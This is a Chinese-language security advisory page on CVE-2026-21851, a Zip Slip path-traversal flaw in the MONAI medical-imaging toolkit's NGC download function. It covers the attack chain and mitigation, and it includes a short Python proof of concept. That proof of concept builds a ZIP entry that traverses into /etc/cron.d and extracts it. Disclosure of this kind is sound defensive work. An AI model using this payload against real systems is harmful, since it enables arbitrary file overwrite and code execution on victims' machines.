IPBUF安全漏洞报告
English
CVE-2026-21851 CVSS 5.3 中危

CVE-2026-21851: MONAI路径遍历(Zip Slip)漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-21851
漏洞类型
路径遍历/Zip Slip
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MONAI (Medical Open Network for AI)

相关标签

路径遍历Zip SlipMONAI医疗AI文件提取漏洞

漏洞概述

MONAI是医疗影像AI工具包,在1.5.1及以下版本中存在路径遍历漏洞。`_download_from_ngc_private()`函数使用`zipfile.ZipFile.extractall()`时未验证路径,攻击者可构造恶意ZIP文件在提取时写入任意文件位置,导致远程代码执行或系统文件覆写。

技术细节

漏洞源于zipfile.extractall()缺少路径验证,攻击者可通过构造恶意ZIP文件在提取时写入任意文件。修复方案是改用safe_extract_member()进行路径验证。

攻击链分析

STEP 1
1
攻击者创建包含路径遍历Payload的恶意ZIP文件
STEP 2
2
受害者通过MONAI的_download_from_ngc_private()函数下载并提取文件
STEP 3
3
恶意文件被写入系统任意位置
STEP 4
4
攻击者获得远程代码执行或系统文件覆写权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # 创建恶意ZIP文件 malicious_path = "../../../../../../../etc/cron.d/malicious" with zipfile.ZipFile('poc.zip', 'w') as zf: zf.writestr(malicious_path, 'malicious content') # 利用漏洞提取文件 with zipfile.ZipFile('poc.zip', 'r') as zf: zf.extractall('/tmp')

影响范围

MONAI <= 1.5.1

防御指南

临时缓解措施
禁用NGC下载功能或限制网络访问

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表